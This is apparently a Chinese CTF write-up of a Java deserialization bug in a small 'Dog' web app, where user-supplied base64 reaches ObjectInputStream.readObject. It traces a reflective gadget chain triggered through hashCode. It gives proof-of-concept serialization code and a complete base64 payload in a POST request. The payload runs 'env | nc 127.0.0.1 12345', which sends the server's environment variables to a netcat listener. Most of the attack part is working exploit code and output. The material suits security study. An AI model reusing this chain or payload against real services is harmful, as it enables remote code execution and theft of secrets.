第二十三章 幻境迷心·皇陨星沉(大结局)

关键函数

Dog类:

public int hashCode() {
        System.out.println("hashCode"+"    "+this.object.getClass()+"          "+this.methodName);
        this.wagTail(this.object, this.methodName, this.paramTypes, this.args);
        return Objects.hash(new Object[]{this.id});
    }
    
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(methodName, paramTypes);
            return method.invoke(input, args);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

DogService类:

public Object chainWagTail() {
        Object input = null;

        for(Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }

            Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
            input = result;
        }
        return input;
    }
    
public void importDogsBase64(String base64Data) {
        try (ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data))) {
            ObjectInputStream ois = new ObjectInputStream(bais);
            Throwable var5 = null;

            try {
                for(Dog dog : (Collection)ois.readObject()) {
                    dog.setId(this.nextId++);
                    this.dogs.put(dog.getId(), dog);
                }
            } catch (Throwable var32) {
                var5 = var32;
                throw var32;
            } finally {
                if (ois != null) {
                    if (var5 != null) {
                        try {
                            ois.close();
                        } catch (Throwable var31) {
                            var5.addSuppressed(var31);
                        }
                    } else {
                        ois.close();
                    }
                }
            }
        } catch (ClassNotFoundException | IOException e) {
            ((Exception)e).printStackTrace();
        }
    }

DogController类:

@PostMapping({"/import"})
    public String importDogs(@RequestParam("data") String base64Data) {
        this.dogService.importDogsBase64(base64Data);
        return "导入成功!";
    }

链子:

实际运行链:DogController.importDogs() => ois.readObject() => Dog.hashCode() => DogService.chainWagTail() => Dog.wagTail() => Dog.wagTail() => Dog.wagTail() => Dog.wagTail() => Dog.wagTail()

其中四次wagTail为chainWagTail的内部循环,也就是dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);的输出值为下一个的输入值(此处需利用反射)

所以我们这里想到一段非常经典的代码(好吧,也可以从CC1链的角度考虑)

T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","xxx"})

即

Class.forName("java.lang.Runtime").getMethod("exec",new Class[]{String.class}).invoke(
	Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(
		Class.forName("java.lang.Runtime")
	),
	new String[]{"/bin/bash","-c","xxx"}
	)
	
//Class.forName()根据类的完全限定名(字符串)动态加载并返回Class对象;object.getClass()返回对象的运行时类型的Class对象;而.class不需要实例,可以直接用,比如Runtime.class、Object.class

所以我们利用该函数来实现以上代码

for(Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }

            Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
            input = result;
        }
        
即

for(Dog dog : this.dogs.values()) {
            if (input == null) {
                input = dog.object;
            }
            Object result = input.getClass().getMethod(dog.methodName, dog.paramTypes).invoke(input, dog.args);
            input = result;
        }

所以执行顺序须为:
result = Class.class.forName("java.lang.Runtime");//得到java.lang.Runtime的Class对象 

result = Runtime.class.getMethod("getRuntime", new Class[0]);//获取Runtime类的getRuntime静态方法对象

result = java.lang.reflect.Method.invoke(null, new Object[0]);//获取Runtime对象(由于是静态方法调用,invoke不需要实例对象)

result = Runtime.getRuntime().exec(new String[]{"sh", "-c", "env | nc 127.0.0.1 12345"}});//最终达到命令执行的效果

在执行过程中调试打印结果:

Input is not an instance of Dog. Class: java.lang.Class
result       java.lang.Class
getMethod1
Input is not an instance of Dog. Class: java.lang.Class
result       java.lang.reflect.Method
invoke1
Input is not an instance of Dog. Class: java.lang.reflect.Method
result       java.lang.Runtime
exec1
Input is not an instance of Dog. Class: java.lang.Runtime
result       java.lang.UNIXProcess

从上面的执行链编写POC链:先序列化4条dog,然后通过DogService.importDogsBase64() 存入

  dog.object=Class.class;
  dog.methodName= "forName";
  dog.paramTypes=new Class[]{String.class};
  dog.args=new Object[]{"java.lang.Runtime"};
  dog1.object=null;
  dog1.methodName= "getMethod";
  dog1.paramTypes=new Class[]{String.class, Class[].class};
  dog1.args=new Object[]{"getRuntime", new Class[0]};
  dog2.object=null;
  dog2.methodName= "invoke";
  dog2.paramTypes=new Class[]{Object.class, Object[].class};
  dog2.args=new Object[]{null, new Object[0]};
  dog3.object=null;
  dog3.methodName= "exec";
  dog3.paramTypes=new Class[]{ String[].class};
  dog3.args= new Object[]{ new String[]{"sh", "-c", "env | nc 127.0.0.1 12345"}};

写触发hashcode的类,仿照URLDNS那条链子

		Dog dog4= new Dog(1,"1","1",1);
		dog4.object=null;
    	dog4.methodName= "chainWagTail";
    	dog4.paramTypes=new Class[]{};
    	dog4.args  =new Object[]{};
    	
        dog4.equals(this.dogService);
        HashMap ht = new HashMap();
        ht.put(dog4,'1');
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(ht);
        String encodedBytes4 = base64Encode(btout.toByteArray());
        System.out.println("dog4: " + encodedBytes4);

序列化dog4时,我由于在DogController类下做序列化(应该在其他类也可以),因为不能新new一个DogService类,Dog中object等类为包级访问权限,在其他包做序列化时,需注意改一下Dog的equals函数,在第一行加入this.object = o;

serialVersionUID 是用于在序列化和反序列化过程中进行核验的一个版本号,基于以下结构信息计算:

  1. 类名
  2. 类修饰符
  3. 实现的接口(按字母顺序)
  4. 字段(名称、类型、修饰符)
  5. 构造器签名(参数类型、修饰符)
  6. 方法签名(方法名、参数类型、返回类型、修饰符)

所以函数方法体内容变更,并不会影响serialVersionUID,仍可正常用于序列化

最后的dog4会包括前面所执行的所有步骤,所以在真实环境只用上传dog4的序列化内容即可。最终Payload,监听本地12345端口即可

POST /dogs/import?data=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAGGNvbS5leGFtcGxlLmRlbW8uRG9nLkRvZ/exKIUKvpXqAgAJSQADYWdlSQAGaHVuZ2VySQACaWRbAARhcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wABWJyZWVkdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKbWV0aG9kTmFtZXEAfgAETAAEbmFtZXEAfgAETAAGb2JqZWN0dAASTGphdmEvbGFuZy9PYmplY3Q7WwAKcGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAAAAAQAAADIAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQAATF0AAxjaGFpbldhZ1RhaWxxAH4ACnNyAB9jb20uZXhhbXBsZS5kZW1vLkRvZy5Eb2dTZXJ2aWNlDbfwhpGRhCMCAAJJAAZuZXh0SWRMAARkb2dzdAAPTGphdmEvdXRpbC9NYXA7eHAAAAAFc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAEc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcQB%2bAAIAAAABAAAAMgAAAAF1cQB%2bAAgAAAABdAARamF2YS5sYW5nLlJ1bnRpbWV0AAExdAAHZm9yTmFtZXEAfgAWdnIAD2phdmEubGFuZy5DbGFzcyx%2bVQPZv5VTAgAAeHB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHBzcQB%2bABAAAAACc3EAfgACAAAAAQAAADIAAAACdXEAfgAIAAAAAnQACmdldFJ1bnRpbWV1cQB%2bABoAAAAAdAABMXQACWdldE1ldGhvZHEAfgAjcHVxAH4AGgAAAAJxAH4AHXZxAH4AGnNxAH4AEAAAAANzcQB%2bAAIAAAABAAAAMgAAAAN1cQB%2bAAgAAAACcHVxAH4ACAAAAAB0AAExdAAGaW52b2tlcQB%2bACtwdXEAfgAaAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4ACHNxAH4AEAAAAARzcQB%2bAAIAAAABAAAAMgAAAAR1cQB%2bAAgAAAABdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAA3QAAnNodAACLWN0ABhlbnYgfCBuYyAxMjcuMC4wLjEgMTIzNDV0AAExdAAEZXhlY3EAfgA5cHVxAH4AGgAAAAF2cQB%2bADR4dXEAfgAaAAAAAHNyABNqYXZhLmxhbmcuQ2hhcmFjdGVyNItH2WsaJngCAAFDAAV2YWx1ZXhwADF4 HTTP/1.1
Host: 127.0.0.1:53568
Content-Length: 0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:53568
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:53568/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值